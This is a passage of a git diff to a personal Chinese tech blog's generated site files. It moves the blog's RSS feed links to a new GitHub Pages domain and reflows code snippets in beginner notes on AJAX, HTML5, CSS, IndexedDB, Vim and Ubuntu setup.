xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){ document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -3738,12 +3739,12 @@ onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：
     
     <item>
       <title>jQuery-ajax()方法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/13/</link>
+      <link>https://chenjunlinabc.github.io/posts/13/</link>
       <pubDate>Wed, 16 Jun 2021 09:24:37 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/13/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/13/</guid>
       <description>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&amp;quot;button&amp;quot;).click(function(){
$.ajax({
type: &amp;quot;GET&amp;quot;,
url: &amp;quot;https://httpbin.org/get&amp;quot;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&amp;quot;button&amp;quot;).click(function(){ $.ajax({ type: &amp;quot;GET&amp;quot;, url: &amp;quot;https://httpbin.org/get&amp;quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -3772,10 +3773,10 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
     
     <item>
       <title>html5学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/12/</link>
+      <link>https://chenjunlinabc.github.io/posts/12/</link>
       <pubDate>Wed, 16 Jun 2021 09:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/12/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/12/</guid>
       <description>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
@@ -3809,23 +3810,23 @@ html语义
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt;
常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt;
&amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等；
&amp;lt;nav&amp;gt;：导航，链接；
&amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次；
&amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
&amp;lt;section&amp;gt;：定义内容的节（段）；
&amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等；
&amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt; 常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt; &amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等； &amp;lt;nav&amp;gt;：导航，链接； &amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次； &amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &amp;lt;section&amp;gt;：定义内容的节（段）； &amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等； &amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&amp;lt;和&amp;gt;括起来，例如&amp;lt;div&amp;gt;
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&amp;lt;DIV&amp;gt;和&amp;lt;div&amp;gt;作用一样。建议使用小写
-&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面
&amp;lt;html&amp;gt; 标识HTML文档的开始
&amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title
&amp;lt;body&amp;gt;html文档的主体
&amp;lt;!</description>
+&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面 &amp;lt;html&amp;gt; 标识HTML文档的开始 &amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title &amp;lt;body&amp;gt;html文档的主体 &amp;lt;!</description>
     </item>
     
     <item>
       <title>css3学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/11/</link>
+      <link>https://chenjunlinabc.github.io/posts/11/</link>
       <pubDate>Wed, 16 Jun 2021 09:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/11/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/11/</guid>
       <description>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
@@ -3833,7 +3834,7 @@ html标签大多都是成对出现的，分开始标签和结束标签，结束
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -3865,10 +3866,10 @@ BFC的特性：</description>
     
     <item>
       <title>原生js实现瀑布流布局</title>
-      <link>https://xiaochenabc123.github.io/posts/10/</link>
+      <link>https://chenjunlinabc.github.io/posts/10/</link>
       <pubDate>Wed, 16 Jun 2021 09:14:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/10/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/10/</guid>
       <description>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
@@ -3882,30 +3883,30 @@ BFC的特性：</description>
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName(&#39;imgs&#39;);
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i&amp;lt;data.length;i++){
if(i&amp;lt;dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a&amp;lt;arr.</description>
+var data = document.getElementsByClassName(&#39;imgs&#39;); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&amp;lt;data.length;i++){ if(i&amp;lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&amp;lt;arr.</description>
     </item>
     
     <item>
       <title>linux系统的日常使用</title>
-      <link>https://xiaochenabc123.github.io/posts/8/</link>
+      <link>https://chenjunlinabc.github.io/posts/8/</link>
       <pubDate>Wed, 16 Jun 2021 09:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/8/</guid>
       <description>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors.</description>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.</description>
     </item>
     
     <item>
       <title>简单解决文本溢出问题</title>
-      <link>https://xiaochenabc123.github.io/posts/6/</link>
+      <link>https://chenjunlinabc.github.io/posts/6/</link>
       <pubDate>Wed, 16 Jun 2021 08:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/6/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/6/</guid>
       <description>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
@@ -3922,32 +3923,32 @@ pre-line：保留空格（可能不完整），保留换行
     
     <item>
       <title>IndexedDB浏览器数据库学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/5/</link>
+      <link>https://chenjunlinabc.github.io/posts/5/</link>
       <pubDate>Tue, 15 Jun 2021 19:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/5/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/5/</guid>
       <description>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
datadb.onerror = function(){
console.log(&amp;quot;数据库打开失败&amp;quot;)
}
datadb.onsuccess = function(){
console.log(&amp;quot;数据库打开成功&amp;quot;);
}
datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); datadb.onerror = function(){ console.log(&amp;quot;数据库打开失败&amp;quot;) } datadb.onsuccess = function(){ console.log(&amp;quot;数据库打开成功&amp;quot;); } datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){ var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
db = event.</description>
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); db = event.</description>
     </item>
     
     <item>
       <title>简单使用Vim编辑器</title>
-      <link>https://xiaochenabc123.github.io/posts/3/</link>
+      <link>https://chenjunlinabc.github.io/posts/3/</link>
       <pubDate>Sun, 28 Mar 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/3/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/3/</guid>
       <description>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
@@ -3982,10 +3983,10 @@ vim hallo.js
     
     <item>
       <title>简单了解SEO</title>
-      <link>https://xiaochenabc123.github.io/posts/2/</link>
+      <link>https://chenjunlinabc.github.io/posts/2/</link>
       <pubDate>Sat, 20 Mar 2021 11:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/2/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/2/</guid>
       <description>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
@@ -4016,100 +4017,100 @@ HTML标签优化
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</link>
+      <link>https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</link>
+      <link>https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</guid>
       <description></description>
     </item>
     
diff --git a/links/index.html b/links/index.html
index 9dc422a9..e37986cd 100644
--- a/links/index.html
+++ b/links/index.html
@@ -1,5 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>链接 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/links/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="链接"><meta property="og:description" content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/links/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="article:published_time" content="2022-04-19T21:11:29+08:00"><meta property="article:modified_time" content="2022-04-19T21:11:29+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title 